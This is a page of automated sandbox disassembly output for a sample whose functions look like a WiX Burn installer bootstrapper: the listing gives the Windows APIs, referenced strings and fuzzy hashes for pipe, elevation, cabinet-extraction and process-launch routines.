Opcode Fuzzy Hash: 1f229c8807fdfb06f960bb9da8879ca114f338389824a446ea4802d34e0690b8
Instruction Fuzzy Hash: 33415CB2A40309FFDB10CFE0DD45AEDBBB8FB08712F204429F616E6150D770AA499B61

Function 00A238BE Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 158
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000003,00000000,00000000,00000000,?), ref: 00A2391F
GetLastError.KERNEL32 ref: 00A23929
Sleep.KERNELBASE(00000064), ref: 00A2394E

Strings

\\.\pipe\%ls.Cache, xrefs: 00A239AD
Failed to open companion process with PID: %u, xrefs: 00A23A77
Failed to open parent pipe: %ls, xrefs: 00A23972
\\.\pipe\%ls, xrefs: 00A238D0
Failed to verify parent pipe: %ls, xrefs: 00A23994
Failed to allocate name of parent pipe., xrefs: 00A238E4
Failed to allocate name of parent cache pipe., xrefs: 00A239C3
pipe.cpp, xrefs: 00A23965, 00A23A6A

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CreateErrorFileLastSleep
String ID: Failed to allocate name of parent cache pipe.$Failed to allocate name of parent pipe.$Failed to open companion process with PID: %u$Failed to open parent pipe: %ls$Failed to verify parent pipe: %ls$\\.\pipe\%ls$\\.\pipe\%ls.Cache$pipe.cpp
API String ID: 408151869-645222887
Opcode ID: 678681a44ec613cc679d7c727829889ecd0daf53633918e2dcd398cbb8576e77
Instruction ID: 2ee87e0b129ba2f4c8f6e04eaa3fb4d17cd599daa37891b6c2e92d0cdbda8435
Opcode Fuzzy Hash: 678681a44ec613cc679d7c727829889ecd0daf53633918e2dcd398cbb8576e77
Instruction Fuzzy Hash: 5F414833540312BADF219B69ED06F6B3AB5BB82761F20053CF914E6190EBBDDA44D720

Function 00A2D7D7 Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00A2D7F2

Strings

Failed to set original source variable., xrefs: 00A2D969
Failed to get unique temporary folder for bootstrapper application., xrefs: 00A2D997
Failed to overwrite the %ls built-in variable., xrefs: 00A2D8BD
Failed to get manifest stream from container., xrefs: 00A2D921
Failed to initialize variables., xrefs: 00A2D88F
Failed to load catalog files., xrefs: 00A2D9D8
Failed to extract bootstrapper application payloads., xrefs: 00A2D9B8
Failed to parse command line., xrefs: 00A2D871
Failed to load manifest., xrefs: 00A2D93D
WixBundleElevated, xrefs: 00A2D8A4, 00A2D8A9, 00A2D8BC
Failed to open manifest stream., xrefs: 00A2D900
WixBundleOriginalSource, xrefs: 00A2D958
Failed to open attached UX container., xrefs: 00A2D8E3

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: Failed to extract bootstrapper application payloads.$Failed to get manifest stream from container.$Failed to get unique temporary folder for bootstrapper application.$Failed to initialize variables.$Failed to load catalog files.$Failed to load manifest.$Failed to open attached UX container.$Failed to open manifest stream.$Failed to overwrite the %ls built-in variable.$Failed to parse command line.$Failed to set original source variable.$WixBundleElevated$WixBundleOriginalSource
API String ID: 2102423945-1257586656
Opcode ID: 275a34f57fda9c47cb07516674deb6dfecd305c2b283409f34a55af211b7fef3
Instruction ID: 4d6cac4a90ad2cf46312fc5bec9fd9490fad7c9c1a93581fd0df23512d43f0c5
Opcode Fuzzy Hash: 275a34f57fda9c47cb07516674deb6dfecd305c2b283409f34a55af211b7fef3
Instruction Fuzzy Hash: 00616072940B29BACB12DBA8DD81FDB77BDAB44710F10493BF55AE3141EB30E6858B50

Function 00A2157C Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 147synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00A2174B
CloseHandle.KERNEL32(00000000,?,?,?,00A21DEA,?,?), ref: 00A21754

Part of subcall function 00A228E3: UuidCreate.RPCRT4(?), ref: 00A2291A
Part of subcall function 00A228E3: StringFromGUID2.OLE32(?,?,00000027), ref: 00A2292D

Strings

Failed to launch unelevated process., xrefs: 00A215D6
Failed to allocate thread local storage for logging., xrefs: 00A2163E
Failed to create implicit elevated connection name and secret., xrefs: 00A215AD
Failed to pump messages from parent process., xrefs: 00A2171D
engine.cpp, xrefs: 00A21634, 00A2167E
Failed to create the message window., xrefs: 00A216A1
Failed to connect to unelevated process., xrefs: 00A215F4
Failed to set elevated pipe into thread local storage for logging., xrefs: 00A21688

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseCreateFromHandleMutexReleaseStringUuid
String ID: Failed to allocate thread local storage for logging.$Failed to connect to unelevated process.$Failed to create implicit elevated connection name and secret.$Failed to create the message window.$Failed to launch unelevated process.$Failed to pump messages from parent process.$Failed to set elevated pipe into thread local storage for logging.$engine.cpp
API String ID: 3991521885-93479633
Opcode ID: f0b614e3004882ffd81892b1934855091b51af451f1613c9fb314e2bbadd90b2
Instruction ID: a4f603253e4d4a6497a68c6ebb85991522ddfd093a8b889aec7d39fc99b624e2
Opcode Fuzzy Hash: f0b614e3004882ffd81892b1934855091b51af451f1613c9fb314e2bbadd90b2
Instruction Fuzzy Hash: DC412672140715BFCB229BA4DC46FEB76ADFFA4352F104539F61AD2050EB34E9099B20

Function 00A40A63 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 136fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,08000080,00000000,00000000,00000000), ref: 00A40AB5
GetLastError.KERNEL32 ref: 00A40AC6
GetCurrentProcess.KERNEL32(00A21D72,00000000,00000000,00000002,00000000,00000000), ref: 00A40B0F
GetCurrentProcess.KERNEL32(000000FF,00000000), ref: 00A40B15
DuplicateHandle.KERNELBASE(00000000), ref: 00A40B18
GetLastError.KERNEL32 ref: 00A40B22
SetFilePointerEx.KERNELBASE(00A21D72,00A2214A,00A21D72,00000000,00000000), ref: 00A40B89
GetLastError.KERNEL32 ref: 00A40B93

Strings

Failed to duplicate handle to container: %ls, xrefs: 00A40B59
container.cpp, xrefs: 00A40AF0, 00A40B4C, 00A40BBD
Failed to move file pointer to container offset., xrefs: 00A40BC7
Failed to open file: %ls, xrefs: 00A40AFD
Failed to open container., xrefs: 00A40BE4

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$CurrentFileProcess$CreateDuplicateHandlePointer
String ID: Failed to duplicate handle to container: %ls$Failed to move file pointer to container offset.$Failed to open container.$Failed to open file: %ls$container.cpp
API String ID: 2619879409-2168299741
Opcode ID: cc76b9900780b4929092c8e821f74e4a4d12fe4f4523f6b69fa73a897205d69c
Instruction ID: f7b9f453be27ccddabe08be85fabf3c6308bc2950728d033e1e9bb16f317dffc
Opcode Fuzzy Hash: cc76b9900780b4929092c8e821f74e4a4d12fe4f4523f6b69fa73a897205d69c
Instruction Fuzzy Hash: 7741A975A4030AFFDB20DFA4DD81E6EBBB4FB04315F208529F611E2190D370AE15AB65

Function 00A4634F Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CompareStringA.KERNELBASE(00000000,00000000,<the>.cab,000000FF,?,000000FF), ref: 00A46381
GetCurrentProcess.KERNEL32(000000FF,00000000,00000000,00000000), ref: 00A46399
GetCurrentProcess.KERNEL32(?,00000000), ref: 00A4639E
DuplicateHandle.KERNELBASE(00000000), ref: 00A463A1
GetLastError.KERNEL32 ref: 00A463AB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,08000080,00000000), ref: 00A4641A
GetLastError.KERNEL32 ref: 00A46428

Strings

Failed to duplicate handle to cab container., xrefs: 00A463DA
<the>.cab, xrefs: 00A46378
Failed to add virtual file pointer for cab container., xrefs: 00A463F8
cabextract.cpp, xrefs: 00A463D0, 00A4644D
Failed to open cabinet file: %hs, xrefs: 00A4645A

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CurrentErrorLastProcess$CompareCreateDuplicateFileHandleString
String ID: <the>.cab$Failed to add virtual file pointer for cab container.$Failed to duplicate handle to cab container.$Failed to open cabinet file: %hs$cabextract.cpp
API String ID: 3030546534-3446344238
Opcode ID: 0536fa7c97006df8507423a664dee42b445a76f658e34e0730d94e5fcd7f70b1
Instruction ID: acf6dd841aa3aa986c6d2299b2edc401a7470b7d167e965ccc7fcfce1650b0e4
Opcode Fuzzy Hash: 0536fa7c97006df8507423a664dee42b445a76f658e34e0730d94e5fcd7f70b1
Instruction Fuzzy Hash: 24313976940216BFDB20ABA49D85EAE7B68FB01376F100334F924E70D0D7359C459BA1

Function 00A46AAA Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 105COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,00A21D72,00000000,00A2214A,00A21D72,00000000,?,00A40BDD,00A21D72,?), ref: 00A46AE1
GetLastError.KERNEL32(?,00A40BDD,00A21D72,?), ref: 00A46AEA

Strings

Failed to copy file name., xrefs: 00A46ACC
Failed to create extraction thread., xrefs: 00A46BAD
cabextract.cpp, xrefs: 00A46B0F, 00A46B56, 00A46BA3
Failed to create operation complete event., xrefs: 00A46B60
Failed to create begin operation event., xrefs: 00A46B19
Failed to wait for operation complete., xrefs: 00A46BBF

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CreateErrorEventLast
String ID: Failed to copy file name.$Failed to create begin operation event.$Failed to create extraction thread.$Failed to create operation complete event.$Failed to wait for operation complete.$cabextract.cpp
API String ID: 545576003-1680384675
Opcode ID: 99773bd3bb3b9619318977a3d6b7f38bea4373bd70c6daf9fa28492c8bb6a445
Instruction ID: 50047b71bea95c142269abba42b8edb9317f5914c0fe133b94a9186162a97157
Opcode Fuzzy Hash: 99773bd3bb3b9619318977a3d6b7f38bea4373bd70c6daf9fa28492c8bb6a445
Instruction Fuzzy Hash: 8E21F776290702BED3207B65ADC9E3B26A9F7C2765F25093DF215D70C1EA749C4A4222

Function 00A29C64 Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A29D78
_memset.LIBCMT ref: 00A29D87

Strings

Failed to allocate room for variables., xrefs: 00A29DEF
variable.cpp, xrefs: 00A29C98, 00A29CD5, 00A29D05, 00A29D31, 00A29DE2
Failed to allocate room for more variables., xrefs: 00A29D12
Overflow while calculating size of variable array buffer, xrefs: 00A29CDF
Overflow while dealing with variable array buffer allocation, xrefs: 00A29D3E
Failed to copy variable name., xrefs: 00A29DAA
Overflow while growing variable array size, xrefs: 00A29CA2

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memmove_memset
String ID: Failed to allocate room for more variables.$Failed to allocate room for variables.$Failed to copy variable name.$Overflow while calculating size of variable array buffer$Overflow while dealing with variable array buffer allocation$Overflow while growing variable array size$variable.cpp
API String ID: 3555123492-2816863117
Opcode ID: 9ad08b1636dc31a19854a1873b5888b4986a08248f720ba55a2e023f8292c2cb
Instruction ID: f8dee8cb81078c803aaa5194a30114eb2ac71f8f6a48c90e948221dce8435fb0
Opcode Fuzzy Hash: 9ad08b1636dc31a19854a1873b5888b4986a08248f720ba55a2e023f8292c2cb
Instruction Fuzzy Hash: 69412B75A80311BBEB249B68EE43F6BBAB8FB54B00F10453DF541AA1C1E7B0E9049B54

Function 00A315A1 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 100threadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,00000000,?,?,?,?,00A21E12,?), ref: 00A315C3
GetLastError.KERNEL32(?,?,00A21E12,?), ref: 00A315D0
CreateThread.KERNELBASE(00000000,00000000,Function_000113ED,?,00000000,00000000), ref: 00A31624
GetLastError.KERNEL32(?,?,00A21E12,?), ref: 00A31631
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,00A21E12,?), ref: 00A3167C
CloseHandle.KERNEL32(00000001,?,?,00A21E12,?), ref: 00A3169C
FindCloseChangeNotification.KERNELBASE(?,?,?,00A21E12,?), ref: 00A316A9

Strings

Failed to create initialization event., xrefs: 00A31601
Failed to create the UI thread., xrefs: 00A31662
uithread.cpp, xrefs: 00A315F7, 00A31658

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseCreateErrorLast$ChangeEventFindHandleMultipleNotificationObjectsThreadWait
String ID: Failed to create initialization event.$Failed to create the UI thread.$uithread.cpp
API String ID: 1372344712-3599963359
Opcode ID: dc7ee5898688f20415855159c89b31f5346d0650475de17f62472a9b960ea5c5
Instruction ID: 36edcc1c8c286a2fca41b71884282af82c5bd72ef7e7836e21268cff5e7d6964
Opcode Fuzzy Hash: dc7ee5898688f20415855159c89b31f5346d0650475de17f62472a9b960ea5c5
Instruction Fuzzy Hash: 1E318DB2D40209FFDB00DFE8DD869AEBBB8FB08302F20456AF615F2190D7705A449B61

Function 00A23006 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 120fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,?,00000008,00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00A23034
GetLastError.KERNEL32(?,?,?,00000000), ref: 00A2303E
ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,?,?,00000000), ref: 00A230EB
GetLastError.KERNEL32(?,?,?,00000000), ref: 00A230F5

Strings

Failed to read data for message., xrefs: 00A23129
Failed to read message from pipe., xrefs: 00A230D8
Failed to allocate data for message., xrefs: 00A230AE
pipe.cpp, xrefs: 00A230A1, 00A230CE, 00A2311F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLastRead
String ID: Failed to allocate data for message.$Failed to read data for message.$Failed to read message from pipe.$pipe.cpp
API String ID: 1948546556-3912962418
Opcode ID: 9a5182bde4505d646408bfa60d37a1f55f64cde540d64fe057ff760559d18c10
Instruction ID: aac5c49c5f4beeb149a934398a243fe54f97354dd66db2ee6a0cad8cefe48a47
Opcode Fuzzy Hash: 9a5182bde4505d646408bfa60d37a1f55f64cde540d64fe057ff760559d18c10
Instruction Fuzzy Hash: DE41D272A40328FBDF10DFA8DD45BAEBA78FF02711F104574E904EA091D3788B488BA0

Function 00A30EB0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,?), ref: 00A30EC6
GetLastError.KERNEL32 ref: 00A30ED0
CoInitializeEx.OLE32(00000000,00000000), ref: 00A30F12
CoUninitialize.OLE32(?,00A303BD,?,?), ref: 00A30F4F

Strings

Failed to set elevated cache pipe into thread local storage for logging., xrefs: 00A30EFF
elevation.cpp, xrefs: 00A30EF5
Failed to initialize COM., xrefs: 00A30F1E
Failed to pump messages in child process., xrefs: 00A30F3D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorInitializeLastUninitializeValue
String ID: Failed to initialize COM.$Failed to pump messages in child process.$Failed to set elevated cache pipe into thread local storage for logging.$elevation.cpp
API String ID: 876858697-113251691
Opcode ID: ffbc34b28458ff74d4834a568444a3a216ce8db97f3c31314d70152747982dad
Instruction ID: d61e312a0b2cb04439579326c0807fa585cd6dea2cfba7f23dfd52d9286c80b7
Opcode Fuzzy Hash: ffbc34b28458ff74d4834a568444a3a216ce8db97f3c31314d70152747982dad
Instruction Fuzzy Hash: 35110673654621BBD7215764DC1AFAABB68BF00B22F110125FE04E6190EB71EC04C2E0

Function 00A505BA Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 93processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A505D1
CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00A22A9B,?,?,?,?,00000000,00000000), ref: 00A50628
GetLastError.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 00A50632
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,00000000,00000000), ref: 00A5067C
CloseHandle.KERNEL32(00A22A9B,?,?,?,?,00000000,00000000,00000000), ref: 00A50689

Strings

"%ls" %ls, xrefs: 00A505F5
procutil.cpp, xrefs: 00A50657

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandle$CreateErrorLastProcess_memset
String ID: "%ls" %ls$procutil.cpp
API String ID: 1393943095-4145822745
Opcode ID: 305f56101af8840aea51c39614b781f641ce988e6949aa63f3eaf01ad891746e
Instruction ID: d8cc53e2454889c54cec170b9d2cd15ca5ba5c4c6b353045e698b1a42a23d978
Opcode Fuzzy Hash: 305f56101af8840aea51c39614b781f641ce988e6949aa63f3eaf01ad891746e
Instruction Fuzzy Hash: 9C213C7690024ABFDB10DFE4CD81DEE7BB9FB44312F14043AE905E6150E6718E58CB62

Function 00A22A21 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?), ref: 00A22A35

Part of subcall function 00A5208E: GetModuleFileNameW.KERNEL32(00A2213E,?,00000104,?,00000104,?,00000000,?,?,00A2213E,?,00000000,?,?,?,7744C3F0), ref: 00A520AF

CloseHandle.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 00A22ABA

Part of subcall function 00A505BA: _memset.LIBCMT ref: 00A505D1
Part of subcall function 00A505BA: CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00A22A9B,?,?,?,?,00000000,00000000), ref: 00A50628
Part of subcall function 00A505BA: GetLastError.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 00A50632
Part of subcall function 00A505BA: CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,00000000,00000000), ref: 00A5067C
Part of subcall function 00A505BA: CloseHandle.KERNEL32(00A22A9B,?,?,?,?,00000000,00000000,00000000), ref: 00A50689

Strings

Failed to launch parent process with unelevate disabled: %ls, xrefs: 00A22AA4
burn.unelevated, xrefs: 00A22A5E
Failed to allocate parameters for elevated process., xrefs: 00A22A7A
Failed to get current process path., xrefs: 00A22A4D
%ls -%ls %ls %ls %u, xrefs: 00A22A66

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandle$Process$CreateCurrentErrorFileLastModuleName_memset
String ID: %ls -%ls %ls %ls %u$Failed to allocate parameters for elevated process.$Failed to get current process path.$Failed to launch parent process with unelevate disabled: %ls$burn.unelevated
API String ID: 1951228193-688900554
Opcode ID: 14dda61ed78d20cecdd68c03f0b016d1ca042b072589e650093c7d9f3068e075
Instruction ID: 01f289fe5b3cad9a45ccf43f4de8d6af0ef8eb17d04b7154efe5722098d4ef3c
Opcode Fuzzy Hash: 14dda61ed78d20cecdd68c03f0b016d1ca042b072589e650093c7d9f3068e075
Instruction Fuzzy Hash: D6216D32C40218FACF21EFE8AD45CEEFBB8BF50352B104162FD15B2511E7714A55ABA1

Function 00A311A9 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 111threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00010EB0,?,00000000,00000000), ref: 00A31232
GetLastError.KERNEL32(?,?,?,00A21DEA,?,?), ref: 00A3123E

Part of subcall function 00A2E916: WaitForSingleObject.KERNEL32(?,000493E0,00000000,?,?,00A312AC,00000000,?,00A30F5D,?,00000000,?,?,?,00A21DEA,?), ref: 00A2E928
Part of subcall function 00A2E916: GetLastError.KERNEL32(?,?,00A312AC,00000000,?,00A30F5D,?,00000000,?,?,?,00A21DEA,?,?), ref: 00A2E932

CloseHandle.KERNEL32(00000000,00000000,?,00A30F5D,?,00000000,?,?,?,00A21DEA,?,?), ref: 00A312BD

Strings

elevation.cpp, xrefs: 00A31263
Failed to pump messages in child process., xrefs: 00A31297
Failed to create elevated cache thread., xrefs: 00A3126D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$CloseCreateHandleObjectSingleThreadWait
String ID: Failed to create elevated cache thread.$Failed to pump messages in child process.$elevation.cpp
API String ID: 3606931770-4134175193
Opcode ID: 460af5067dd1795b45fdf23c112d30ba6ec2201c80fe0eca6f5445c2d53d5aa9
Instruction ID: 9b75233590ad9619d060d2d89930b9cfbcfda5051170f7165451823f01a66c18
Opcode Fuzzy Hash: 460af5067dd1795b45fdf23c112d30ba6ec2201c80fe0eca6f5445c2d53d5aa9
Instruction Fuzzy Hash: CA411671A01219AFCB10DFA8D9819DEBBF9FF49710F10452AF909E7341D770A945CBA0

Function 00A55A7C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A55A92
SysAllocString.OLEAUT32(?), ref: 00A55AAE
VariantClear.OLEAUT32(?), ref: 00A55B35
SysFreeString.OLEAUT32(00000000), ref: 00A55B40

Strings

xmlutil.cpp, xrefs: 00A55AC5
`5w, xrefs: 00A55B40

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: StringVariant$AllocClearFreeInit
String ID: `5w$xmlutil.cpp
API String ID: 760788290-26783885
Opcode ID: dce1c2a2079e8b5922f16c72a980f2e1f9c93ad832f04d32b7904fb477a731fa
